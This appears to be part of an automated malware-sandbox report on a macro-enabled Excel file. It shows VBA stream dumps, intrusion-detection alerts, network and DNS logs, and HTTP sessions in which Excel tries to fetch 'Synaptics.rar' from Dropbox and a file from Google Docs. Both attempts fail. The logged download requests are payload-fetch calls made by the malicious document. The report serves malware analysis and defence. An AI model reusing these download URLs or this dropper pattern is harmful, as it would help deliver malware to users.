                    Data Raw:72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 1e 00 00 00 09 00 00 00 00 00 00 00 09 00 00 00 00 00 03 00 30 00 00 00 00 00 00 00 0c 00 0c 00 00 00 00 00 01 00 01 00 00 00 01 00 b9 05 00 00 00 00 00 00 e1 05 00 00 00 00 00 00 09 06 00 00 00 00 00 00 ff ff ff ff 91 05 00 00 00 00 00 00 08 00 2f 00 38 00 00 00 31 06 00 00 00 00 00 00 61 00 00 00 00 00 01 00 59 06
                    General
                    Stream Path:VBA/__SRP_3
                    CLSID:
                    File Type:data
                    Stream Size:682
                    Entropy:3.010107002295994
                    Base64 Encoded:False
                    Data ASCII:r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D . . . . . $ . . . . . . . . . . . . ` . . X . . . . . . . . . . . . ( . A . . . . . . . . . . ` . . \\ . . . . . . . . . . . . . . . . . . # 0 . . . . . . . . . . . ` . . ` . $ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . . . . . ` . . d . ( . . . . . . . . . . . . . . . . . . ( . . . . . . . . . . . . ` . . h . , . . . . . . . . . . . . . . . . . . , . A . . . . . . . . . . ` . . l . 0 . . . . . .
                    Data Raw:72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 10 00 00 00 09 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 44 00 00 00 04 00 24 00 01 01 00 00 00 00 02 00 00 00 03 60 00 00 58 04 1c 00 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 1e 28 00 41 01 00 00 00 00 02 00 01 00 03 60 04 00 5c 04 20 00 ff ff ff ff ff ff ff ff 00 00 00 00 81 00 00 00 00 00 01
                    General
                    Stream Path:VBA/dir
                    CLSID:
                    File Type:data
                    Stream Size:481
                    Entropy:6.240073968176633
                    Base64 Encoded:True
                    Data ASCII:. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . v V . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
                    Data Raw:01 dd b1 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 91 b8 76 56 01 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47
                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                    2025-01-06T20:01:42.528333+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.11.2049753142.250.191.206443TCP
                    2025-01-06T20:01:43.202717+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.11.2049754162.125.3.18443TCP
                    2025-01-06T20:01:43.767664+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.11.2049755162.125.3.18443TCP
                    TimestampSource PortDest PortSource IPDest IP
                    Jan 6, 2025 20:01:42.271212101 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.271234989 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.271447897 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.271826029 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.271831989 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.528076887 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.528332949 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.528768063 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.529035091 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.531678915 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.531691074 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.531933069 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.532876015 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.574208021 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.832732916 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.832767963 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.833002090 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.833013058 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.833158016 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.833365917 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.833411932 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.833411932 CET49753443192.168.11.20142.250.191.206
                    Jan 6, 2025 20:01:42.833425999 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.833430052 CET44349753142.250.191.206192.168.11.20
                    Jan 6, 2025 20:01:42.956453085 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:42.956474066 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:42.956620932 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:42.956820011 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:42.956832886 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.202498913 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.202717066 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.203728914 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.203738928 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.204014063 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.204591036 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.250260115 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.523912907 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.523950100 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.524194956 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.524375916 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.524375916 CET49754443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.524385929 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.524389029 CET44349754162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.525794029 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.525813103 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.526068926 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.526205063 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.526212931 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.767407894 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.767663956 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.768589973 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.768599987 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.768840075 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:43.769604921 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:43.810256004 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:44.091877937 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:44.091914892 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:44.092103958 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:44.092309952 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:44.092309952 CET49755443192.168.11.20162.125.3.18
                    Jan 6, 2025 20:01:44.092324018 CET44349755162.125.3.18192.168.11.20
                    Jan 6, 2025 20:01:44.092328072 CET44349755162.125.3.18192.168.11.20
                    TimestampSource PortDest PortSource IPDest IP
                    Jan 6, 2025 20:01:42.151094913 CET5181353192.168.11.201.1.1.1
                    Jan 6, 2025 20:01:42.270284891 CET53518131.1.1.1192.168.11.20
                    Jan 6, 2025 20:01:42.835165977 CET4953353192.168.11.201.1.1.1
                    Jan 6, 2025 20:01:42.955528975 CET53495331.1.1.1192.168.11.20
                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                    Jan 6, 2025 20:01:42.151094913 CET192.168.11.201.1.1.10x5af3Standard query (0)docs.google.comA (IP address)IN (0x0001)false
                    Jan 6, 2025 20:01:42.835165977 CET192.168.11.201.1.1.10x6072Standard query (0)www.dropbox.comA (IP address)IN (0x0001)false
                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                    Jan 6, 2025 20:01:42.270284891 CET1.1.1.1192.168.11.200x5af3No error (0)docs.google.com142.250.191.206A (IP address)IN (0x0001)false
                    Jan 6, 2025 20:01:42.955528975 CET1.1.1.1192.168.11.200x6072No error (0)www.dropbox.comwww-env.dropbox-dns.comCNAME (Canonical name)IN (0x0001)false
                    Jan 6, 2025 20:01:42.955528975 CET1.1.1.1192.168.11.200x6072No error (0)www-env.dropbox-dns.com162.125.3.18A (IP address)IN (0x0001)false
                    • docs.google.com
                    • www.dropbox.com
                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    0192.168.11.2049753142.250.191.2064431908C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    TimestampBytes transferredDirectionData
                    2025-01-06 19:01:42 UTC192OUTGET /uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download HTTP/1.1
                    Connection: Keep-Alive
                    Accept: */*
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
                    Host: docs.google.com
                    2025-01-06 19:01:42 UTC1223INHTTP/1.1 404 Not Found
                    Content-Type: text/html; charset=utf-8
                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                    Pragma: no-cache
                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                    Date: Mon, 06 Jan 2025 19:01:42 GMT
                    Strict-Transport-Security: max-age=31536000
                    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                    Cross-Origin-Opener-Policy: same-origin
                    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                    Content-Security-Policy: script-src 'nonce-ISwP1mTIzFlIl8ot0N1GAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                    Server: ESF
                    X-XSS-Protection: 0
                    X-Content-Type-Options: nosniff
                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                    Accept-Ranges: none
                    Vary: Accept-Encoding
                    Connection: close
                    Transfer-Encoding: chunked
                    2025-01-06 19:01:42 UTC32INData Raw: 36 37 34 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65
                    Data Ascii: 674<html lang="en" dir=ltr><me
                    2025-01-06 19:01:42 UTC1255INData Raw: 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 5a 4e 75 63 73 4c 4f 6e 33 42 68 6f 77 31 44 6d 69 33 7a 72 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64
                    Data Ascii: ta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UZNucsLOn3Bhow1Dmi3zrQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background
                    2025-01-06 19:01:42 UTC372INData Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 61 69 6e 20 69 64 3d 22 61 66 2d 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 3e 3c 73 70 61 6e 20 69 64 3d 6c 6f 67 6f 20 61 72 69 61 2d 6c 61 62 65 6c 3d 47 6f 6f 67 6c 65 20 72 6f 6c 65 3d 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73
                    Data Ascii: 50x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}</style><main id="af-error-container" role="main"><a href=//www.google.com><span id=logo aria-label=Google role=img></span></a><p><b>404.</b> <ins
                    2025-01-06 19:01:42 UTC5INData Raw: 30 0d 0a 0d 0a
                    Data Ascii: 0


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    1192.168.11.2049754162.125.3.184431908C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    TimestampBytes transferredDirectionData
                    2025-01-06 19:01:43 UTC178OUTGET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1
                    Connection: Keep-Alive
                    Accept: */*
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
                    Host: www.dropbox.com
                    2025-01-06 19:01:43 UTC825INHTTP/1.1 409 Conflict
                    Content-Security-Policy: script-src 'none'
                    Content-Security-Policy: sandbox
                    Pragma: no-cache
                    Referrer-Policy: strict-origin-when-cross-origin
                    Set-Cookie: gvc=MTczMDUzMjE1NjEwNTMyNDk0ODQ4NTU4Nzg5MDA2Njc2MTQ3Mzc5; Path=/; Expires=Sat, 05 Jan 2030 19:01:43 GMT; HttpOnly; Secure; SameSite=None
                    X-Content-Type-Options: nosniff
                    X-Permitted-Cross-Domain-Policies: none
                    X-Robots-Tag: noindex, nofollow, noimageindex
                    X-Xss-Protection: 1; mode=block
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 1121
                    Date: Mon, 06 Jan 2025 19:01:43 GMT
                    Strict-Transport-Security: max-age=31536000; includeSubDomains
                    Server: envoy
                    Cache-Control: no-cache, no-store
                    Vary: Accept-Encoding
                    X-Dropbox-Response-Origin: far_remote
                    X-Dropbox-Request-Id: 27788b4e197d4b23bfaa71738c8184a9
                    Connection: close
                    2025-01-06 19:01:43 UTC1121INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 44 72 6f 70 62 6f 78 20 2d 20 34 30 39 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65
                    Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Dropbox - 409</title><link href="https://cfl.dropboxstatic.com/static/metaserve


                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                    2192.168.11.2049755162.125.3.184431908C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    TimestampBytes transferredDirectionData
                    2025-01-06 19:01:43 UTC178OUTGET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1
                    Connection: Keep-Alive
                    Accept: */*
                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
                    Host: www.dropbox.com
                    2025-01-06 19:01:44 UTC825INHTTP/1.1 409 Conflict
                    Content-Security-Policy: script-src 'none'
                    Content-Security-Policy: sandbox
                    Pragma: no-cache
                    Referrer-Policy: strict-origin-when-cross-origin
                    Set-Cookie: gvc=MjQzNDUwOTU0MjEwMzQwMDU3NzczMTAwMTE0OTAzMjgzNzE2NjE5; Path=/; Expires=Sat, 05 Jan 2030 19:01:44 GMT; HttpOnly; Secure; SameSite=None
                    X-Content-Type-Options: nosniff
                    X-Permitted-Cross-Domain-Policies: none
                    X-Robots-Tag: noindex, nofollow, noimageindex
                    X-Xss-Protection: 1; mode=block
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 1121
                    Date: Mon, 06 Jan 2025 19:01:44 GMT
                    Strict-Transport-Security: max-age=31536000; includeSubDomains
                    Server: envoy
                    Cache-Control: no-cache, no-store
                    Vary: Accept-Encoding
                    X-Dropbox-Response-Origin: far_remote
                    X-Dropbox-Request-Id: a36228db96ab4fe7a15e04238bb265e8
                    Connection: close
                    2025-01-06 19:01:44 UTC1121INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 44 72 6f 70 62 6f 78 20 2d 20 34 30 39 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65
                    Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Dropbox - 409</title><link href="https://cfl.dropboxstatic.com/static/metaserve


                    Click to jump to process

                    Click to jump to process

                    Click to dive into process behavior distribution

                    Click to jump to process

                    Target ID:0
                    Start time:14:01:39
                    Start date:06/01/2025
                    Path:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    Wow64 process (32bit):false
                    Commandline:"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                    Imagebase:0x7ff797490000
                    File size:64'236'848 bytes
                    MD5 hash:14243BD2CC9F1814023132241A51E1C6
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:false

                    Target ID:7
                    Start time:14:02:46
                    Start date:06/01/2025
                    Path:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
                    Wow64 process (32bit):false
                    Commandline:"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\sEG2xXpg0X.xlsm"
                    Imagebase:0x7ff797490000
                    File size:64'236'848 bytes
                    MD5 hash:14243BD2CC9F1814023132241A51E1C6
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:false

                    No disassembly